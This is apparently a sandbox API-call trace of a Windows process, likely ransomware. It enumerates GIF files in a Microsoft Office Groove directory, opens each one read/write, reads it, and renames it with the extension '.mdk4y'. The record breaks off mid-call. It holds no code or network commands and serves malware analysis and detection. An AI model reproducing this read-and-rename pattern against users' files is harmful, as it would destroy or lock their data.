[0216.813] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.813] AreFileApisANSI () returned 1 [0216.813] GetACP () returned 0x4e4 [0216.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Casual.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Casual.gif", lpUsedDefaultChar=0x37dda8) returned 13 [0216.813] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204400000) returned 1 [0216.814] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x161d, lpOverlapped=0x0) returned 1 [0216.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204500000) returned 1 [0216.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204500000) returned 1 [0216.815] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif.mdk4y")) returned 1 [0216.816] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.816] AreFileApisANSI () returned 1 [0216.816] GetACP () returned 0x4e4 [0216.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Country.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Country.gifMask.bmp", lpUsedDefaultChar=0x37dda8) returned 14 [0216.816] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204700000) returned 1 [0216.817] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x7dd3, lpOverlapped=0x0) returned 1 [0216.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204900000) returned 1 [0216.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204900000) returned 1 [0216.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif.mdk4y")) returned 1 [0216.820] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.820] AreFileApisANSI () returned 1 [0216.820] GetACP () returned 0x4e4 [0216.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Earthy.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Earthy.giff", lpUsedDefaultChar=0x37dda8) returned 13 [0216.820] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829205100000) returned 1 [0216.821] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x132a, lpOverlapped=0x0) returned 1 [0216.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829205400000) returned 1 [0216.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829205400000) returned 1 [0216.824] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif.mdk4y")) returned 1 [0216.825] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.825] AreFileApisANSI () returned 1 [0216.825] GetACP () returned 0x4e4 [0216.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePage.gif", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePage.gifmp", lpUsedDefaultChar=0x37dda8) returned 20 [0216.825] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829205600000) returned 1 [0216.826] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x167bd, lpOverlapped=0x0) returned 1 [0216.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829206400000) returned 1 [0216.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829206400000) returned 1 [0216.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif.mdk4y")) returned 1 [0216.836] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.836] AreFileApisANSI () returned 1 [0216.836] GetACP () returned 0x4e4 [0216.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePageBlank.gif", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePageBlank.gifrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 25 [0216.837] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829206700000) returned 1 [0216.837] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4ebb, lpOverlapped=0x0) returned 1 [0216.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829207600000) returned 1 [0216.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829207600000) returned 1 [0216.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif.mdk4y")) returned 1 [0216.847] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.847] AreFileApisANSI () returned 1 [0216.847] GetACP () returned 0x4e4 [0216.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePageSlice.gif", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePageSlice.gif", lpUsedDefaultChar=0x37dda8) returned 25 [0216.847] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829207800000) returned 1 [0216.848] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x40f, lpOverlapped=0x0) returned 1 [0216.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829208000000) returned 1 [0216.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829208000000) returned 1 [0216.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif.mdk4y")) returned 1 [0216.851] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.851] AreFileApisANSI () returned 1 [0216.851] GetACP () returned 0x4e4 [0216.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_GreenTea.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_GreenTea.gifeSlice.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0216.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829208200000) returned 1 [0216.852] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5690, lpOverlapped=0x0) returned 1 [0216.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829209400000) returned 1 [0216.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829209400000) returned 1 [0216.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif.mdk4y")) returned 1 [0216.866] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.866] AreFileApisANSI () returned 1 [0216.867] GetACP () returned 0x4e4 [0216.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Groove.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Groove.gifif", lpUsedDefaultChar=0x37dda8) returned 13 [0216.867] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829209700000) returned 1 [0216.867] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6a, lpOverlapped=0x0) returned 1 [0216.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829209800000) returned 1 [0216.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829209800000) returned 1 [0216.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif.mdk4y")) returned 1 [0216.869] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.869] AreFileApisANSI () returned 1 [0216.869] GetACP () returned 0x4e4 [0216.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_LightSpirit.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_LightSpirit.gifice.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0216.869] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210000000) returned 1 [0216.870] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x21a6, lpOverlapped=0x0) returned 1 [0216.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210200000) returned 1 [0216.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210200000) returned 1 [0216.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif.mdk4y")) returned 1 [0216.873] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.873] AreFileApisANSI () returned 1 [0216.873] GetACP () returned 0x4e4 [0216.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_OliveGreen.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_OliveGreen.giff", lpUsedDefaultChar=0x37dda8) returned 17 [0216.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210400000) returned 1 [0216.874] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3d57, lpOverlapped=0x0) returned 1 [0216.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210600000) returned 1 [0216.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210600000) returned 1 [0216.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif.mdk4y")) returned 1 [0216.878] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.878] AreFileApisANSI () returned 1 [0216.878] GetACP () returned 0x4e4 [0216.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Premium.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Premium.gifgif", lpUsedDefaultChar=0x37dda8) returned 14 [0216.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829210800000) returned 1 [0216.878] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1845, lpOverlapped=0x0) returned 1 [0216.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211000000) returned 1 [0216.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211000000) returned 1 [0216.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif.mdk4y")) returned 1 [0216.881] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.881] AreFileApisANSI () returned 1 [0216.881] GetACP () returned 0x4e4 [0216.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_SlateBlue.gif", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_SlateBlue.giff", lpUsedDefaultChar=0x37dda8) returned 16 [0216.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211100000) returned 1 [0216.881] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5141, lpOverlapped=0x0) returned 1 [0216.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211400000) returned 1 [0216.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211400000) returned 1 [0216.884] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif.mdk4y")) returned 1 [0216.886] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.886] AreFileApisANSI () returned 1 [0216.886] GetACP () returned 0x4e4 [0216.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_TexturedBlue.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_TexturedBlue.gifce.gif", lpUsedDefaultChar=0x37dda8) returned 19 [0216.886] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829211700000) returned 1 [0216.887] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: 